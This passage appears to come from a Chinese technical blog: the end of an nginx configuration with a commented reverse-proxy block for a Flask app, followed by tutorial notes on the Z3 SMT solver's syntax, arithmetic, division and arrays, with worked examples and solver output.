    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    #include /etc/nginx/sites-enabled/*;
}

xxx-xxx-xxx.conf

  • 这个文件比较重要
server {
    listen      8000; # 对外监听的端口

    root        /root/github/Vision-Ward; #服务器上的项目目录
    server_name arm.eqqie.cn; # 域名

    # 处理静态资源:
    #注意这里用了正则表达式,也就是把路由到/static/*的请求都视为对静态资源的请求
    location ~ ^\/static\/.*$ { 
        #这里的root表示静态资源的位置,注意如果按照上面的写法,会在这个路径后拼接上static,所以这里只需要写到static的上层目录即可
        root /root/github/Vision-Ward/app;
    }

    # 动态请求转发到8001端口(gunicorn):
    location / {
        #flask监听的位置(不对外)
        proxy_pass       http://127.0.0.1:8001;
        #这里也很重要,把请求的原始信息暴露给藏在后面的flask,避免其没有办法获取用户真正的ip地址
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Host $host;
        #建议如果涉及非80端口请求重定向的时候,用下面这种设置,可以避免重定向后端口消失的问题
        #proxy_set_header Host arm.eqqie.cn:8000;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

flask配置

  • 注意监听地址保持和配置文件中proxy_pass一致
  • 然后只需要正常启动flask即可

使用nginx启动服务,如果遇到错误直接复制下来查就会有很多答案。也可以多注意看看log。

  • z3作为微软开发的求解器,其提供的接口在很多应用程序和编程语言中都可以使用。
    > z3prover在CHAINSAWNAVEX中均有使用
  • 在这里关键的作用是想要配和CodeQL,通过CodeQL提取路径约束,然后用Z3求解约束
  • 其实关于如何用CodeQL提取出可以作为z3输入的约束还是一头雾水...但是这不妨碍先学习z3的使用,说不定可以找到一些灵感完成两者的结合。(应该会有办法的,要不这条研究路线就断了)
  • 后期可能需要造一些轮子,这么说来还是需要花挺多时间的(尤其是假期即将结束,需要挺多时间复习开学期考功课)
  • 官方使用文档:https://rise4fun.com/z3/tutorialcontent/guide
  • z3py功能手册:https://z3prover.github.io/api/html/namespacez3py.html
  • z3py使用文档:https://ericpony.github.io/z3py-tutorial/guide-examples.htm
    > 如果二进制版的z3不便于后期结合,还需要花时间学下z3py
  • z3所使用的语法标准:http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
  • 最后,关于细节本文记录得不是很多,所以需要一些基础来阅读

环境安装

编译好的二进制版

  1. Github下载最新版:https://github.com/Z3Prover/z3/releases
    Z3prover
  2. 解压后将其中的bin目录添加到环境变量(Unix-like系统可以添加软连接到/usr/bin中)
  3. z3 <filename> 使用

z3py

  1. pip install z3-prover
  2. from z3 import * 使用
    > 注意在z3py中,很多语句被封装成了对象/类方法,但是基本求解逻辑还是一样的,取决于后期打算采用何种形式

基本语法

指令结构

z3指令有一套自己的结构,一般称为三地址码,其遵循的标准在引言中有链接。
基本的构成为 操作符 操作数1 操作数2

常量(constants)和函数(functions)

这是z3指令中最常见的两种结构,然而本质上常量只是作为一个没有参数的函数,其求解结果也以函数结构所表现。

(declare-fun f (Int) Int) ; 这里f是接受Int类型的函数
(declare-fun a () Int) ; a可以看成常量
(declare-const b Int) ; 语法糖写法,声明一个常量

与编程语言中函数不同的是,z3中的函数可以视为一个未解释的公式,不会在运行时抛出异常,也不会出现没有返回值的情况。专业术语将其称之为一阶逻辑或者谓词演算——百度百科。一阶逻辑中的“函数”是“未定义”的,意思就是不存在一种类似于四则运算一般固定的解释模式(model)。只要任何符合约束条件的model,都可以作为一种解释,而check-set就是用来求解的。

很抽象,可以看下面例子大概理解下。

用z3证明 f(f(x)) = x, f(x)=y, x!=y约束的存在性(给出一种可能性解释),并且还定义了一个抽象的类型(sort在z3中表示类型,使用declare-sort定义类型):

(declare-sort A)
(declare-const x A)
(declare-const y A)
(declare-fun f (A) A)
(assert (= (f (f x)) x))
(assert (= (f x) y))
(assert (not (= x y)))
(check-sat)
(get-model)
需要特别注意下z3函数的使用方式与编程语言不同:编程语言通过(x1,x2,x3)方式传参,而z3将函数视为一个运算符号通过类似三地址码的方式传参 —— 函数符号 x1 x2 x3

输出:

sat
(model
  ;; universe for A:
  ;;   A!val!0 A!val!1
  ;; -----------
  ;; definitions for universe elements:
  (declare-fun A!val!0 () A)
  (declare-fun A!val!1 () A)
  ;; cardinality constraint:
  (forall ((x A)) (or (= x A!val!0) (= x A!val!1)))
  ;; -----------
  (define-fun x () A
    A!val!0)
  (define-fun y () A
    A!val!1)
  (define-fun f ((x!0 A)) A
    (ite (= x!0 A!val!1) A!val!0
      A!val!1))
)

生成的模型为A引入了抽象值。

算数运算

基本运算

z3内置了对于整数和实数等数学类型的支持,而且貌似最新版已经合并了原先的插件——z3str,可以进行字符串处理,关于这部分文档似乎没有详细说明...

declare-const可以用于声明整数和实数常量

如:

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)

声明完常量后,就可以在后续的式子中使用这些变量,式子中可以包含常用的数学运算符如:
+ - x div/mod/ram

check-sat & get-model

check-sat是高频使用的命令,用于对表达式求解,基本上就是为每个常数分配一个数字。如果存在一种解使得所有式子为真,那么结果就为sat,并且称这个解释为一个model,使用get-model可以查看;如果不存在解释,则结果为unsat,也无法获取可行的model。
例子:

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)
(assert (> a (+ b 2)))
(assert (= a (+ (* 2 c) 10)))
(assert (<= (+ c b) 1000))
(assert (>= d e))
(check-sat)
(get-model)

输出:

sat
(model
  (define-fun c () Int
    0)
  (define-fun b () Int
    0)
  (define-fun e () Real
    0.0)
  (define-fun d () Real
    0.0)
  (define-fun a () Int
    10)
)

类型转换

在z3中Int类型和Real类型不会自动互相转换,但是借助函数to-Real(参数为一个整数)可以将整数化为实数。
例子:

(assert (> e (+ (to_real (+ a b)) 2.0)))
(assert (= d (+ (to_real c) 0.5)))

非线性运算特性

当式子中有类似(* t s)的实数运算时称为非线性式,这种式子求解极其困难,导致z3在求解非线性问题的时候不一定总能确定是否有解。当无法确定是否可以求解时使用check-sat会返回unknow;当然,部分特殊的非线性式依然可以确定可满足性。
例子:

(declare-const a Int)
(assert (> (* a a) 3))
(check-sat)
(get-model)

(echo "Z3 does not always find solutions to non-linear problems")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)

(echo "yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...")
(declare-const x Real)
(declare-const y Real)
(declare-const z Real)
(assert (= (* x x) (+ x 2.0)))
(assert (= (* x y) x))
(assert (= (* (- y 1.0) z) 1.0))
(check-sat)

(reset)
(echo "When presented only non-linear constraints over reals, Z3 uses a specialized complete solver")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)
(get-model)

输出:

sat
(model
  (define-fun a () Int
    (- 3))
)
Z3 does not always find solutions to non-linear problems
unknown
yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...
unsat
When presented only non-linear constraints over reals, Z3 uses a specialized complete solver
sat
(model
  (define-fun b () Real
    (/ 1.0 8.0))
  (define-fun c () Real
    (/ 1535.0 64.0))
)

除法运算

z3支持除法、求模和求余运算,这些运算在底层都会被映射成乘法。

注意在实数除法的时候用符号/,因为实数没有求模和取余。

例子:

(declare-const a Int)
(declare-const r1 Int)
(declare-const r2 Int)
(declare-const r3 Int)
(declare-const r4 Int)
(declare-const r5 Int)
(declare-const r6 Int)
(assert (= a 10))
(assert (= r1 (div a 4))) ; integer division
(assert (= r2 (mod a 4))) ; mod
(assert (= r3 (rem a 4))) ; remainder
(assert (= r4 (div a (- 4)))) ; integer division
(assert (= r5 (mod a (- 4)))) ; mod
(assert (= r6 (rem a (- 4)))) ; remainder
(declare-const b Real)
(declare-const c Real)
(assert (>= b (/ c 3.0)))
(assert (>= c 20.0))
(check-sat)
(get-model)

输出:

sat
(model
  (define-fun c () Real
    20.0)
  (define-fun b () Real
    (/ 20.0 3.0))
  (define-fun r6 () Int
    (- 2))
  (define-fun r5 () Int
    2)
  (define-fun r4 () Int
    (- 2))
  (define-fun r3 () Int
    2)
  (define-fun r2 () Int
    2)
  (define-fun r1 () Int
    2)
  (define-fun a () Int
    10)
)

z3有一个很有意思的地方,就是不会发生除0错误,因为除0操作是未定义的,在求解的时候可以被定义为一个函数。
例如:

(declare-const a Real)
; The following formula is satisfiable since division by zero is not specified.
(assert (= (/ a 0.0) 10.0)) 
(check-sat)
(get-model)

; Although division by zero is not specified, division is still a function.
; So, (/ a 0.0) cannot evaluated to 10.0 and 2.0.
(assert (= (/ a 0.0) 2.0)) 
(check-sat)

输出:

sat
(model
  (define-fun a () Real
    1.0)
  (define-fun /0 ((x!0 Real) (x!1 Real)) Real
    10.0)
)
unsat

如果对上述行为不满意还可以使用ite语句自定义除法规则:

; defining my own division operator where x/0.0 == 0.0 for every x.
(define-fun mydiv ((x Real) (y Real)) Real
  (if (not (= y 0.0))
      (/ x y)
      0.0))
(declare-const a Real)
(declare-const b Real)
(assert (>= (mydiv a b) 1.0))
(assert (= b 0.0))
(check-sat)
关于ite语句:
其实就是if-then-else语句,其结构为(if 条件 真返回值 假返回值)
此处判断被除数是否为0来返回不同结果

位向量

暂略,用到的不多

数组

常用数组操作

  • 数组定义:(declare-const a1 (Array Int Int))

    这是使用了语法糖的定义方式,原生定义方式如下:

    (define-fun a1 () (Array Int Int) [val])
    例如:

    (define-fun a2 () (Array Int Int)
    ((as const (Array Int Int)) 0))
    
  • 取出值:(select a i)

    a-数组;i-下标;返回:a数组下标对应值
  • 存入值:(store a i v)

    a-数组;i-下标;v-新值;返回:数组本身

例子:

(declare-const x Int)
(declare-const y Int)
(declare-const z Int)
(declare-const a1 (Array Int Int))
(declare-const a2 (Array Int Int))
(declare-const a3 (Array Int Int))
(assert (= (select a1 x) x))
(assert (= (store a1 x y) a1))
(check-sat)
(get-model)

输出:

sat
(model
  (define-fun y () Int
    0)
  (define-fun a1 () (Array Int Int)
    (store ((as const (Array Int Int)) 1) 0 0))
  (define-fun x () Int
    0)
  (define-fun z () Int
    0)
  (define-fun a2 () (Array Int Int)
    ((as const (Array Int Int)) 0))
  (define-fun a3 () (Array Int Int)
    ((as const (Array Int Int)) 0))
)

常数数组

当数组中每个索引都指向同一个值就变成了常数数组。可以使用as const (Array T1 T2)结构构造一个常数数组,该结构会返回指定类型的数组。原文档对这块的介绍不是很详细,我提取了主要的语句结构如下:

(declare-const a (Array Int Int))
(assert (= a ((as const (Array Int Int)) 1)))

第一句声明一个数组,第二句用断言的方式将该数组约束为常数数组。
例子:

(declare-const all1 (Array Int Int))
(declare-const a Int)
(declare-const i Int)
(assert (= all1 ((as const (Array Int Int)) 1)))
(assert (= a (select all1 i)))
(check-sat)
(get-model)
(assert (not (= a 1)))
(check-sat)

输出:

sat
(model
  (define-fun a () Int
    1)
  (define-fun all1 () (Array Int Int)
    ((as const (Array Int Int)) 1))
  (define-fun i () Int
    0)
)
unsat